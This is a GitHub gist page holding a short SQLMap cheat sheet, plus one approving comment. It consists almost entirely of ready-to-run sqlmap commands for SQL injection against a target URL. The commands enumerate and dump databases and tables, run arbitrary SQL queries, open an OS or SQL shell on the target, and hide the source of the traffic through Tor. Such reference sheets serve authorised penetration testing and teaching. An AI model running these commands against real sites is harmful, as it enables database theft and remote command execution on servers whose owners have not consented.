Skip to content

Instantly share code, notes, and snippets.

@jkullick

jkullick/sqlmap-cheat-sheet.md

Last active February 12, 2024 18:00
Show Gist options
  • Star 33 You must be signed in to star a gist
  • Fork 21 You must be signed in to fork a gist
  • Save jkullick/03b98b1e44f03986c5d1fc69c092220d to your computer and use it in GitHub Desktop.
Save jkullick/03b98b1e44f03986c5d1fc69c092220d to your computer and use it in GitHub Desktop.
Download ZIP
SQLMap Cheat Sheet
Raw
sqlmap-cheat-sheet.md 
# Enumerate databases
sqlmap --dbms=mysql -u "$URL" --dbs

# Enumerate tables
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables

# Dump table data
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump

# Specify parameter to exploit
sqlmap --dbms=mysql -u "http://www.example.com/param1=value1&param2=value2" --dbs -p param2

# Specify parameter to exploit in 'nice' URIs
sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2" --dbs # exploits param1

# Get OS shell
sqlmap --dbms=mysql -u "$URL" --os-shell

# Get SQL shell
sqlmap --dbms=mysql -u "$URL" --sql-shell

# SQL query
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"

# Use Tor Socks5 proxy
sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs
@vaswar1999
Copy link

it is to helpful

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment